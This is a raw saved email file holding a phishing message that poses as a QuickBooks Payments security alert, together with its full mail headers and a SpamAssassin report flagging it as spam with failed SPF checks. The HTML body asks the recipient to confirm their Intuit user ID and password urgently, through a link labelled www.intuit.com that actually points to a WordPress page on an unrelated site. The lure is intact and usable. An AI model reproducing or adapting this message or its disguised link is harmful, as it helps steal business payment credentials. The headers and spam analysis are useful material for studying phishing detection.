Google
Edit File: 1770941045.M456659P3931417.server-619288.prediksijaya.com,S=10188,W=10361:2,a
Return-Path: <qbo.alerts@intuit.net> Delivered-To: angker+spam@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id XJ3gGnVqjmkZ/TsAf7/9AQ (envelope-from <qbo.alerts@intuit.net>) for <angker+spam@server-619288.prediksijaya.com>; Fri, 13 Feb 2026 07:04:05 +0700 Return-path: <qbo.alerts@intuit.net> Envelope-to: zensho@ponjosonek.com Delivery-date: Fri, 13 Feb 2026 07:04:05 +0700 Received: from [160.242.74.97] (port=59668 helo=intuit.net) by server-619288.prediksijaya.com with esmtp (Exim 4.99.1) (envelope-from <qbo.alerts@intuit.net>) id 1vqgfD-0000000GUhT-3CgU for zensho@ponjosonek.com; Fri, 13 Feb 2026 07:04:05 +0700 From: "QuickBooks Payments" <qbo.alerts@intuit.net> To: zensho@ponjosonek.com Date: 13 Feb 2026 02:03:18 +0200 Message-ID: <20260213020316.F63FFA9D4696C905@intuit.net> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0012_75EF15AB.64F44D2C" X-Spam-Status: Yes, score=27.7 X-Spam-Score: 277 X-Spam-Bar: +++++++++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: zensho@ponjosonek.com, A new authentication system will be implemented for QuickBooks Payments. Content analysis details: (27.7 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.5 RCVD_IN_HOSTKARMA_BL RBL: Sender listed in HOSTKARMA-BLACK [160.242.74.97 listed in hostkarma.junkemailfilter.com] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: intuit.com] [URI: mamnonductri.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [160.242.74.97 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [160.242.74.97 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [160.242.74.97 listed in bl.score.senderscore.com] 2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL [160.242.74.97 listed in psbl.surriel.com] 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [160.242.74.97 listed in list.dnswl.org] 4.0 SPF_FAIL SPF: sender does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 4.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 1.0 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 3.0 KAM_GRABBAG7 Spam pattern with bad HTML message 5.0 URI_WP_HACKED URI for compromised WordPress site, possible malware 1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/) 2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50% [cf: 100] 0.0 T_REMOTE_IMAGE Message contains an external image X-Spam-Flag: YES Subject: Payment System Alert ------=_NextPart_000_0012_75EF15AB.64F44D2C Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><head> <title></title> <meta content=3D"MSHTML 11.00.9600.19650" name=3D"GENERATOR" /> </head> <body><P><img class=3D"rg_i Q4LuWd" alt=3D"Katana x QuickBooks Integration"= src=3D"cid:images" width=3D"255" height=3D"99" data-noaft=3D"1" data-index= =3D"0"></P><BR> zensho@ponjosonek.com,<BR><BR>A new authentication system will be implement= ed for QuickBooks Payments.<BR><BR> In order to continue processing payment= s, you'll need to confirm your Intuit user ID and password immediately.<BR>= <BR>For more information about confirming your user ID or setting one up, c= heck out our website below and follow the automatic guide<BR><BR> <A href=3D"https://mamnonductri.com/wp-content/wx.htm">www.intuit.com</A> <= BR> <P><BR>Sincerely,<BR>The QuickBooks Payments Team</P></BODY></HTML> ------=_NextPart_000_0012_75EF15AB.64F44D2C Content-Type: application/octet-stream; name="images" Content-Transfer-Encoding: base64 Content-ID: <images> iVBORw0KGgoAAAANSUhEUgAAAVoAAACRCAMAAAC114CHAAAAw1BMVEX///8AAAAsoBz7+/vS 0tKFhYXy8vKUlJTf398xMTFBQUHu7u46Ojr0+vN5eXnOzs6JxYMaGhqhoaFlulnt9+wTExOB gYFRUVHl5eUXmwAlnhIfHx+oqKjCwsLX19erq6vU6tG4uLhwcHBkZGRFqzeRkZHL5cgmJiaC wnxISEgVFRW+vr45pylZWVk1NTVNTU294LlRsEOe0Jnf8N2TyY2o1aPh7uBqumDE4sFYsk1z vWuAxXZ3wW2026/T7M/d8NoAkQA7uwx7AAAKp0lEQVR4nO2bC3uazBLH2YCogBKJREBB8RKT eEmMuZmetu/3/1Rnd2aBRc2JbxuTNmd+T58WF3aBP7PDzCzVNIIgCIIgCIIgCIIgCIIgCIIg CIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgCIIgPoNGu/0oaLcbn30pX4rGz+e7p9U8DKP5 6unuYk3qvhON5/tNFEbRiSCKwpOz++fDeuqJuX+Hmbzf5f3F/LgchyhrRhSOL38c0FP3rOFe be2JVXnnq/wbuR9HZWHRdsd3b3e1F4wF+3YkDmPvfZ1/HY1VuCssWu7L45u9Y6eq72vXvWX/ 3S/170IfzPcLKwhXWx5XtwNd0wNbs5PE5j+DwDbtIDA1OxBuwQwC8ZctNuSO/2Nut5WNVBuO wtvS0cnIqmmJNeyPGBu5mnvTATyzYnl8d9pxND21hnp6Be2L2efc1B/BYLOt7NP9StV2PFAP d6+ZoRmsy5jF/wQpQ4bc5Tb5bo/7V91jS3Mid3ifc1d/Ao9P294gPG0/jlVtn1R/63ZBWtZx gx5jsWm452wZG0EwUqV1zMCIF6yTGPZn3din0zgNd9zraUN7UFuje6UDSOtyUTUt6IJNeszi DnVbWh46DNnok+7qj2CwoyxI2y5JO1ZeZVLalsHVtBiPDfQqs+xfkNa0Tf5nq7HP6f2uoe8d +eM52w0OdqSFlgzpEEDaK+bpQshfkVZvCk882WoF92z85j2di0Gan63tRSZhJEoHQCbtnDdl 2s4v8h7/Q9oOyHmotBUhQHWr9V2khZHPP1vazGjD8ent8wWwQWlfLp5vT+dS3PAyN9vXpBVS pWnTJ2mR9Vza7GVR5zpDacWrq/Hzm9R23s52uz5zxWtMSOtIX+sI75j6rNtl3WsmWuo2SLt4 /dRfXdoHaZRqqUCRlot7h2Yd5h6hVhkFWm1UEUlXdcTjBC0eVeE2eCzGKn2L8ZahaDF7w97r p/7q0r6AcGihg4dv304fc2k3l3dgyfdwSPSf9z71F5d2DYlY9MQ3uYsNo3A+yKWN+Fts81PT 2uiOo/c+9xeX9hmSLjHZBytwqiKnPSuCr2iz5k4DLfu91xy+uLS3Y6Hfqq01LvF1tSUt5GFt dLZvFxf/HV9c2u8iQIhe2lK+PdKK8gGadmnBoTbru3trtG+QzHppgh3fkDbp990dcYK43493 y+78avqxcvDr0s683uxjVpUgQIiU5GtH2hV3FuCQw+9FN6/Lo1ffX7hav9tqsXOule63+JaL +3us1fJv+EbNueatmREGixbvx/xWRxynSpvcQPemjdImWhXPcOUqF6tXp6I786elyrtd6WJz Pa+7K9IGIxi5I6LD2rALB/qjDzBotNpvXMnoFWk3vAEqjGFeRkg6LMPrQUoppIXfUglPbFvi ZurF/DZ7rGBhqtIGC2jkQR1KGy/zAye5CrFVdHfirFVPW8qo0iALaUVyyLkKxJpHcaDf/5Up 969AX3vGfa3MynakfeFvL0grwp+yj+soEoEdHSStvMmMWJHWhGoC69Q0Ka3KSIrQ80vNWcBc KbXW47K0eA5mCcn76oHL33Xnb/IMBhlxf/p9v7TzW037caJGCIG02Wunm13nIdKaZQ081SHg riWYXKFSZrnoMmZZcz1/NiB4JpVsdpKStGiodXFZJjyaK88bcjPvHt9qBzjX76BsG+1IG4V3 XNBLDL5kF1w8qKdGYmTz9hBpXZy3w5kbT3yo8ubSyomKk1lKNXSTxMVTTWHQKWxXiualaK1d 44NyE8PFWTFSpU2VpxCLrQWfGHYyYunRldUauMIQ8cmu367CMCyk/Yf/2lw0pNM4icbYAyVs 4Vs6uTpUWjnnK8L/6e5MV6SVzlJ6z+Jh8SPQJsW3DLjlYTM+C+EScNQUr2yYPyGUVje6ym7o dA6bH/PlCVpkNMfZ3rjPs7GcH7hyllUZeqqEokpzmLQ1mI4j1ViktMZSuX8pbVf+QC9yw00N DrqR3U146y2gFM+Z6GpfUTOGbhUDXwqeeuGefnx7lTzLwtd4AIa0I23jWS6SZRnDIp+MAnw3 HSAtPAM/Vc4spR3BgK08boJh8l8z8US6qRa0FMOWk9sJeOgnRs0DNBhwmm2MYEr5WaBWw/nA nHN37/co705DKhfN7wbrdvsUpb18bHDa7fXFafYN2EYWFcFOhnl/70Bp4fU8Ld2TrrzYig+b 4Gf+y7Bw6rvgU2t5M4wWY9Rg5dMbX3VaKWxY5Odc5G1W+iGJ2n22kBDONy+XG/C10eoSeNmc 5Hsf5PHLbNIhh8a10FIv3RFK64OnsPJYqCxtrYNTOt6StoXG7InOV7m0SdYZRsZEop6bem1U CH7+EYbbKJbGIg5Km5PvOssqCGBGRYF7y2pjpfUwq23KmDZbaYRf+bKjcYXSJq39ViuaixA1 LlltE6V08pPacRFaby/JHYXSqjgGX3u+q8uMVk6r/Gq3fK18Vzd3pH3V11bxVZT7GIZaSmJI jPuaCe/63AWn4hePg9OpMlXkaqOvZa8xObJVnNK0kwlGcdbRUwZNfElXUvJin7SigCPBF212 k2gnhbT4zaeZ39JWhDBUT5wFX7OWakdMfXQYsgkZQCVHvpFscBNijROMOqvD6PkzksEXnrR8 Vj6lWoURHJmB+qGMCA52pIUajcTGe4eHrrtKXAtOeCpuXqa0JWmxrYWBaS0VMz5PGao4JDoT 3G6CSzAxgB3qWVqBb3sTO4gsDb0JplYmOgBhw1nKIHNbTIr1GZ4BCxYf8wnlbUnb+51PwE5O 1O/p8AamPcOIqzLVhQD/HDddN5WZcDkbgzCKtSaxEacLCEWLRFcOqSa6i76buDjktTAwHU37 XGRj2NwVtoovLlYV2RiO0tEUaeVFTUFTjy094a374pqEbwrco3801bhTZQzH8y1h8+gAMDC3 ZEtLbkhpMXtg3SzH364hnMtmB0SaqNJKpwhxUtab1S354IZgk6kc3rJkpQtndDU72MLJj1lx Lq2NeoukA+y+U/UqkEjcJDypWzSPHoU17nY/Tiq8QVnZPOVXAGlNpbJV2ZW2tJ+JCakUFWPU RaTB4l+/qRw4lXdfLZ9TltD18qhS8KKoKMt0Q9ve6W7E1iQ9fhD2/MpH4VzZk9vtg5XqXKWa S6sZebFxBpmPU5Y2c4ySoFQK9zK9ZVxbhKCLbM7qqrZ+Xl8pVdSWMlhQSuGyNFbVY/XsIjC3 vaGX5vHc8VivTvaJG508/dw92G7WIQG9cou4FppF9bbbqWm1qeMsRfAbdJaOU89i+tqo3vJ9 /3q6FILq1Trfh3GWPuHHOc7U0HhPZ6lrqTXlh04X6ipDIrqLRYp6aW3GXUyFj/C79TxYrYqz yiI6jtziA1UtCLxa0xu8IHf2EcpqWvvubOf/iUTR08P+dVy7N6l44rZVabl2vUnV3dsh65eK LxEPWlVL+KHbFSo79SYTb7b98gnSKm+O3x7V8JrDSfrx/+Nq/fA0V/xCFM5fHt5cxS1LS7zG +kKoi8yfHi4OWB4naQ+m/bhe335/HqzX7bcP1kjaI0LSHg2S9miQtEeDpD0akCINSdojYNc4 H7OMRxAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRAEQRDE38p/ AZB52u4e5k6hAAAAAElFTkSuQmCC ------=_NextPart_000_0012_75EF15AB.64F44D2C--